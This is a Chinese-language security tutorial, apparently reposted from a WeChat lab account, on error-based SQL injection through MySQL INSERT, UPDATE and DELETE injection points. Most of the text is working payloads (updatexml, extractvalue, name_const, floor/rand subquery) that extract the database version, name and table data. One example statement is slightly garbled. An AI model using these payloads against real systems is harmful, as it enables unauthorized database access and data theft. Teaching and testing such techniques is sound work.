SQL注入 Update报错注入

admin 2022年7月8日18:52:29评论86 views字数 1701阅读5分40秒阅读模式

利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的。那么,当我们发现了一个基于insert、update、delete语句的注射点时(比如有的网站会记录用户浏览记录,包括referer、client_ip、user-agent等,还有类似于用户注册、密码修改、信息删除等功能),还可以用如上方法获取我们需要的数据吗?在这里,我们以MYSQL的显错为例,看一下如何在insert、update、delete的注射点中获取我们想要的数据。


01

注入语法



因为我们这里是用的显错模式,所以思路就是在insert、update、delete语句中人为构造语法错误,利用如下语句:

insert into users (id, username, password) values (2,''inject here'','Olivia');insert into users (id, username, passwordvalues (2,""inject here"",'Olivia');
SQL注入 Update报错注入


02

利用updatexml()获取数据



updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数。

payload:

or updatexml(1,concat(0x7e,(version())),0) or


获取数据库版本信息

UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''WHERE id=2 and username='Olivia';

SQL注入 Update报错注入


利用update获取users表的数据

SQL注入 Update报错注入


03

利用extractvalue()获取数据



extractvalue()函数也是MYSQL对XML文档数据进行查询和修改的XPATH函数。

payload:

or extractvalue(1,concat(0x7e,database())) or

获取数据库名
UPDATE users SET password='Nicky' or extractvalue(1,concat(0x7e,database())) or'' WHERE id=2 and username='Nervo';
SQL注入 Update报错注入

可以用insert、update、delete语句获取到数据库表名、列名,但是不能用update获取当前表的数据。


04

利用name_const()获取数据



name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。

Payload:

or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or

获取数据库版本信息

UPDATE users SET password='Nicky' or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE id=2 and username='Nervo';

05

利用子查询注入



原理与select查询时的显错注入一致。

查询数据库名

UPDATE users SET password='Nicky' or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' WHERE id=2 and username='Nervo';
SQL注入 Update报错注入


如有侵权,请联系删除。

SQL注入 Update报错注入

扫码关注我们

查看更多精彩内容




原文始发于微信公众号(长风实验室):SQL注入 Update报错注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月8日18:52:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入 Update报错注入http://cn-sec.com/archives/1167524.html

发表评论

匿名网友 填写信息